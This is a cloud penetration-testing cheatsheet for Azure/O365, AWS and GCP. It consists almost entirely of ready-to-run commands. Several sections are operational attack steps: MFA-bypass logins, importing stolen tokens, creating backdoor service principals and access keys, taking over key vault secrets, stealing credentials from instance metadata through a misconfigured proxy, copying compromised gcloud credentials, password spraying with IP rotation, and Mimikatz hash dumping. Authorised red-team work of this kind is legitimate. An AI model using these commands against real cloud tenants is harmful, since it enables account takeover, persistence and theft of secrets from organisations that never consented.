

Cloud Pentesting Cheatsheet

by Beau Bullock (@dafthack)

The most updated version of this cheatsheet can be found here:

<https://github.com/dafthack/CloudPentestCheatsheets>

Microsoft Azure & O365 CLI Tool Cheatsheet

Az PowerShell Module

```
Import-Module Az
```

Authentication

```
Connect-AzAccount
```

```
## Or this way sometimes gets around MFA restrictions
```

```
$credential = Get-Credential  
Connect-AzAccount -Credential $credential
```

Import a context file

```
Import-AzContext -Profile 'C:\Temp\Live Tokens\StolenToken.json'
```

Export a context file

```
Save-AzContext -Path C:\Temp\AzureAccessToken.json
```

Account Information

List the current Azure contexts available

```
Get-AzContext -ListAvailable
```

Get context details

```
$context = Get-AzContext  
$context.Name  
$context.Account
```

List subscriptions

```
Get-AzSubscription
```

Choose a subscription

```
Select-AzSubscription -SubscriptionID "SubscriptionID"
```

Get the current user's role assignment

```
Get-AzRoleAssignment
```

List all resources and resource groups

```
Get-AzResource  
Get-AzResourceGroup
```

List storage accounts

```
Get-AzStorageAccount
```

WebApps & SQL

List Azure web applications

```
Get-AzAdApplication  
Get-AzWebApp
```

List SQL servers

```
Get-AzSQLServer
```

Individual databases can be listed with information retrieved from the previous command

```
Get-AzSqlDatabase -ServerName $ServerName -ResourceGroupName $ResourceGroupName
```

List SQL Firewall rules

```
Get-AzSqlServerFirewallRule -ServerName $ServerName -ResourceGroupName  
$ResourceGroupName
```

List SQL Server AD Admins

```
Get-AzSqlServerActiveDirectoryAdministrator -ServerName $ServerName -ResourceGroupName  
$ResourceGroupName
```

Runbooks

List Azure Runbooks

```
Get-AzAutomationAccount  
Get-AzAutomationRunbook -AutomationAccountName <AutomationAccountName> -  
ResourceGroupName <ResourceGroupName>
```

Export a runbook with:

```
Export-AzAutomationRunbook -AutomationAccountName $AccountName -ResourceGroupName  
$ResourceGroupName -Name $RunbookName -OutputFolder .\Desktop\
```

Virtual Machines

List VMs and get OS details

```
Get-AzVM  
$vm = Get-AzVM -Name "VM Name"  
$vm.OSProfile
```

Run commands on VMs

```
Invoke-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName $VMName -CommandId  
RunPowerShellScript -ScriptPath ./powershell-script.ps1
```

Networking

List virtual networks

```
Get-AzVirtualNetwork
```

List public IP addresses assigned to virtual NICs

```
Get-AzPublicIpAddress
```

Get Azure ExpressRoute (VPN) Info

```
Get-AzExpressRouteCircuit
```

Get Azure VPN Info

```
Get-AzVpnConnection
```

Backdoors

Create a new Azure service principal as a backdoor

```
$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
$spn
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)
$UnsecureSecret
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
$role = Get-MsolRole -RoleName "Company Administrator"
Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -
RoleMemberObjectId $sp.ObjectId
#Enter the AppID as username and what was returned for $UnsecureSecret as the password
in the Get-Credential prompt
$cred = Get-Credential
Connect-AzAccount -Credential $cred -Tenant "tenant ID" -ServicePrincipal
```

MSONline PowerShell Module

```
Import-Module MSOnline
```

Authentication

```
Connect-MsolService

## Or this way sometimes gets around MFA restrictions

$credential = Get-Credential
Connect-MsolService -Credential $credential
```

Account and Directory Information

List Company Information

```
Get-MSolCompanyInformation
```

List all users

```
Get-MSolUser -All
```

List all groups

```
Get-MSolGroup -All
```

List members of a group (Global Admins in this case)

```
Get-MSolRole -RoleName "Company Administrator"  
Get-MSolGroupMember -GroupObjectId $GUID
```

List all user attributes

```
Get-MSolUser -All | fl
```

List Service Principals

```
Get-MSolServicePrincipal
```

One-liner to search all Azure AD user attributes for passwords

```
$users = Get-MSolUser; foreach($user in $users){$props = @();$user | Get-Member |  
foreach-object{$props+=$_.Name}; foreach($prop in $props){if($user.$prop -like  
"*password*"){Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " :  
" + $user.$prop)}}}
```

Az CLI Tool

Authentication

```
az login
```

Dump Azure Key Vaults

List out any key vault resources the current account can view

```
az keyvault list -query '[].name' --output tsv
```

With contributor level access you can give yourself the right permissions to obtain secrets.

```
az keyvault set-policy --name <KeyVaultname> --upn <YourContributorUsername> --secret-  
permissions get list --key-permissions get list --storage-permissions get list --  
certificate-permissions get list
```

Get URI for Key Vault

```
az keyvault secret list --vault-name <KeyVaultName> --query '[] .id' --output tsv
```

Get cleartext secret from keyvault

```
az keyvault secret show --id <URI from last command> | ConvertFrom-Json
```

Metadata Service URL

```
http://169.254.169.254/metadata
```

Get access tokens from the metadata service

```
GET 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-  
01&resource=https://management.azure.com/' HTTP/1.1 Metadata: true
```

Other Azure & O365 Tools

MicroBurst

Azure security assessment tool

<https://github.com/NetSPI/MicroBurst>

Look for open storage blobs

```
Invoke-EnumerateAzureBlobs -Base $BaseName
```

Export SSL/TLS certs

```
Get-AzPasswords -ExportCerts Y
```

Azure Container Registry dump

```
Get-AzPasswords  
Get-AzACR
```

PowerZure

Azure security assessment tool

<https://github.com/hausec/PowerZure>

ROADTools

Framework to interact with Azure AD

<https://github.com/dirkjanm/ROADtools>

Stormspotter

Red team tool for graphing Azure and Azure AD objects

<https://github.com/Azure/Stormspotter>

MSOLSpray

Tool to password spray Azure/O365

<https://github.com/dafthack>

```
Import-Module .\MSOLSpray.ps1  
Invoke-MSOLSpray -UserList .\userlist.txt -Password Spring2020
```

Amazon Web Services (AWS) CLI Tool Cheatsheet

Authentication

Set AWS programmatic keys for authentication (use --profile= for a new profile)

```
aws configure
```

Open S3 bucket enumeration

List the contents of an S3 bucket

```
aws s3 ls s3://<bucketname>/
```

Download contents of bucket

```
aws s3 sync s3://bucketname s3-files-dir
```

Account Information

Get basic account info

```
aws sts get-caller-identity
```

List IAM users

```
aws iam list-users
```

List IAM roles

```
aws iam list-roles
```

List S3 buckets accessible to an account

```
aws s3 ls
```

Virtual Machines

List EC2 instances

```
aws ec2 describe-instances
```

WebApps & SQL

List WebApps

```
aws deploy list-applications
```

List AWS RDS (SQL)

```
aws rds describe-db-instances --region <region name>
```

Knowing the VPC Security Group ID you can query the firewall rules to determine connectivity potential

```
aws ec2 describe-security-groups --group-ids <VPC Security Group ID> --region <region>
```

Serverless

List Lambda Functions

```
aws lambda list-functions --region <region>
```

Look at environment variables set for secrets and analyze code

```
aws lambda get-function --function-name <lambda function>
```

Networking

List EC2 subnets

```
aws ec2 describe-subnets
```

List ec2 network interfaces

```
aws ec2 describe-network-interfaces
```

List DirectConnect (VPN) connections

```
aws directconnect describe-connections
```

Backdoors

List access keys for a user

```
aws iam list-access-keys --user-name <username>
```

Backdoor account with second set of access keys

```
aws iam create-access-key --user-name <username>
```

Instance Metadata Service URL

```
http://169.254.169.254/latest/meta-data
```

Additional IAM creds possibly available here

```
http://169.254.169.254/latest/meta-data/iam/security-credentials/<IAM Role Name>
```

Can potentially hit it externally if a proxy service (like Nginx) is being hosted in AWS and misconfigured

```
curl --proxy vulndomain.target.com:80 http://169.254.169.254/latest/meta-data/iam/security-credentials/ && echo
```

IMDS Version 2 has some protections but these commands can be used to access it

```
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`  
curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"
```

Other AWS Tools

WeirdAAL

<https://github.com/carnal0wnage/weirdAAL>

Run recon against all AWS services to enumerate access for a set of keys

```
python3 weirdAAL.py -m recon_all -t <name>
```

Pacu

AWS exploitation framework

<https://github.com/RhinoSecurityLabs/pacu>

Install Pacu

```
sudo apt-get install python3-pip  
git clone https://github.com/RhinoSecurityLabs/pacu  
cd pacu  
sudo bash install.sh
```

Import AWS keys for a specific profile

```
import_keys <profile name>
```

Detect if keys are honey token keys

```
run iam__detect_honeytokens
```

Enumerate account information and permissions

```
run iam__enum_users_roles_policies_groups
run iam__enum_permissions
whoami
```

Check for privilege escalation

```
run iam__privesc_scan
```

Google Cloud Platform CLI Tool Cheatsheet

Authentication

Authentication with gcloud

```
#user identity login
gcloud auth login

#service account login
gcloud auth activate-service-account --key-file creds.json
```

List accounts available to gcloud

```
gcloud auth list
```

Account Information

Get account information

```
gcloud config list
```

List organizations

```
gcloud organizations list
```

Enumerate IAM policies set ORG-wide

```
gcloud organizations get-iam-policy <org ID>
```

Enumerate IAM policies set per project

```
gcloud projects get-iam-policy <project ID>
```

List projects

```
gcloud projects list
```

Set a different project

```
gcloud config set project <project name>
```

Gives a list of all APIs that are enabled in project

```
gcloud services list
```

Get source code repos available to user

```
gcloud source repos list
```

Clone repo to home dir

```
gcloud source repos clone <repo_name>
```

Virtual Machines

List compute instances

```
gcloud compute instances list
```

Get shell access to instance

```
gcloud beta compute ssh --zone "<region>" "<instance name>" --project "<project name>"
```

Puts public ssh key onto metadata service for project

```
gcloud compute ssh <local host>
```

Get access scopes if on an instance

```
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H '&#39;Metadata-Flavor:Google'
```

Use Google keyring to decrypt encrypted data

```
gcloud kms decrypt --ciphertext-file=encrypted-file.enc --plaintext-file=out.txt --key <crypto-key> --keyring <crypto-keyring> --location global
```

Storage Buckets

List Google Storage buckets

```
gsutil ls
```

List Google Storage buckets recursively

```
gsutil ls -r gs://<bucket name>
```

Copy item from bucket

```
gsutil cp gs://bucketid/item ~/
```

Webapps & SQL

List WebApps

```
gcloud app instances list
```

List SQL instances

```
gcloud sql instances list  
gcloud spanner instances list  
gcloud bigtable instances list
```

List SQL databases

```
gcloud sql databases list --instance <instance ID>  
gcloud spanner databases list --instance <instance name>
```

Export SQL databases and buckets

First copy buckets to local directory

```
gsutil cp gs://bucket-name/folder/ .
```

Create a new storage bucket, change perms, export SQL DB

```
gsutil mb gs://<googlestoragename>  
gsutil acl ch -u <service account> gs://<googlestoragename>  
gcloud sql export sql <sql instance name> gs://<googlestoragename>/sqldump.gz --  
database=<database name>
```

Networking

List networks

```
gcloud compute networks list
```

List subnets

```
gcloud compute networks subnets list
```


List VPN tunnels

```
gcloud compute vpn-tunnels list
```

List Interconnects (VPN)

```
gcloud compute interconnects list
```

Containers

```
gcloud container clusters list
```

GCP Kubernetes config file `~/.kube/config` gets generated when you are authenticated with `gcloud` and run:

```
gcloud container clusters get-credentials <cluster name> --region <region>
```

If successful and the user has the correct permission the Kubernetes command below can be used to get cluster info:

```
kubectl cluster-info
```

Serverless

GCP functions log analysis – May get useful information from logs associated with GCP functions

```
gcloud functions list  
gcloud functions describe <function name>  
gcloud functions logs read <function name> --limit <number of lines>
```

Gcloud stores creds in `~/.config/gcloud/credentials.db` Search home directories

```
sudo find /home -name "credentials.db"
```

Copy gcloud dir to your own home directory to auth as the compromised user

```
sudo cp -r /home/username/.config/gcloud ~/.config
sudo chown -R currentuser:currentuser ~/.config/gcloud
gcloud auth list
```

Metadata Service URL

```
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H
"Metadata-Flavor: Google"
```

Other Useful Cloud Tools and Techniques Cheatsheet

ScoutSuite

Multi-cloud security auditing tool

Install ScoutSuite

```
sudo apt-get install virtualenv
git clone https://github.com/nccgroup/ScoutSuite
cd ScoutSuite
virtualenv -p python3 venv
source venv/bin/activate
pip install -r requirements.txt
```

To run as root

```
sudo apt-get install virtualenv
sudo su
virtualenv -p python3 venv
source venv/bin/activate
pip install scoutsuite
```

Scan AWS environment with ScoutSuite

```
python scout.py aws --profile=<aws profile name>
```

or `if` installed...

```
scout aws --profile=<aws profile name>
```

Cloud_Enum

Tool to search for public resources in AWS, Azure, and GCP

https://github.com/initstring/cloud_enum

```
python3 cloud_enum.py -k <name-to-search>
```

GitLeaks

Search repositories for secrets

<https://github.com/zricethezav/gitleaks>

Pull GitLeaks with Docker

```
sudo docker pull zricethezav/gitleaks
```

Print the help menu

```
sudo docker run --rm --name=gitleaks zricethezav/gitleaks --help
```

Use GitLeaks to search for secrets

```
sudo docker run --rm --name=gitleaks zricethezav/gitleaks -v -r <repo URL>
```

TruffleHog - <https://github.com/dxa4481/truffleHog>

Shhgit - <https://github.com/eth0izzle/shhgit>

Gitrob - <https://github.com/michenriksen/gitrob>

Mimikatz

Export Non-Exportable Private Keys From Web Server

```
mimikatz# crypto::capi
mimikatz# privilege::debug
mimikatz# crypto::cng
mimikatz# crypto::certificates /systemstore:local_machine /store:my /export
```

Dump passwords hashes from SAM/SYSTEM files

```
mimikatz# lsadump::sam /system:SYSTEM /sam:SAM
```

Check Command History

Linux Bash History Location

```
~/.bash_history
```

Windows PowerShell PSReadLine Location

```
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
```

PowerView

<https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon> Find on-prem ADConnect account name and server

```
Get-NetUser -Filter "(samAccountName=MSOL_*)" | Select-Object name,description | fl
```

FireProx

Password Spraying Azure/O365 while randomizing IPs with FireProx

Install

```
git clone https://github.com/ustayready/fireprox
cd fireprox
virtualenv -p python3 .
source bin/activate
pip install -r requirements.txt
python fire.py
```

Launch FireProx

```
python fire.py --access_key <access_key_id> --secret_access_key <secret_access_key> --
region <region> --url https://login.microsoft.com --command create
```

Password spray using FireProx + MSOLSpray

```
Invoke-MSOLSpray -UserList .\userlist.txt -Password Spring2020 -URL https://api-
gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox
```

ip2Provider

Check a list of IP addresses against cloud provider IP space

<https://github.com/oldrho/ip2provider>

Vulnerable Infrastructure Creation

Cloudgoat - <https://github.com/RhinoSecurityLabs/cloudgoat>

SadCloud - <https://github.com/nccgroup/sadcloud>

Flaws Cloud - <http://flaws.cloud>

Thunder CTF - <http://thunder-ctf.cloud>

References and Resources

This is a list of references and resources that I leveraged to create the cheatsheets but it is not comprehensive.

Huge thanks to all the cloud pentesting blog/book authors & open source developers!

Rhino Security Labs [@RhinoSecurity](#) - [Blog](#) - [Rhino Security Labs](#)

Matt Burrough [@mattburrough](#) - [Pentesting Azure Applications | No Starch Press](#)

NCC Group [@NCCGroupInfoSec](#) - [NCC Group Plc](#) · [GitHub](#)

Sean Metcalf [@PyroTek3](#) & Trimarc - [AD Security](#)

Karl Fosaaen [@kfosaaen](#) & NETSPI - [NetSPI Blog](#)

Ryan Hausknecht [@haus3c](#) & SpectorOps - [Posts By SpectorOps Team Members](#)

Steve Borosh [@424f424f](#) - [rvrsh3ll Blog](#)

Dirk-jan Mollema [@_dirkjan](#) - [dirkjanm.io](#)

Mike Felch [@ustayready](#) - [ustayready \(ustayready\)](#) · [GitHub](#)

Zachary Rice ([@zricethezav](#)) - [zricethezav \(Zachary Rice\)](#) · [GitHub](#)

Adam Chester [@xpn](#) - [XPN InfoSec Blog](#)

Chris Moberly [@init_string](#) & Gitlab - [GitLab Security Department](#) · [GitLab](#)

Lee Kagan [@invokethreatguy](#) & Lares - [Blog | Resources | Lares Consulting, LLC](#)

Oddvar Moe [@Oddvarmoe](#) & TrustedSec - [Cybersecurity Education from the Experts | TrustedSec Blog Posts](#)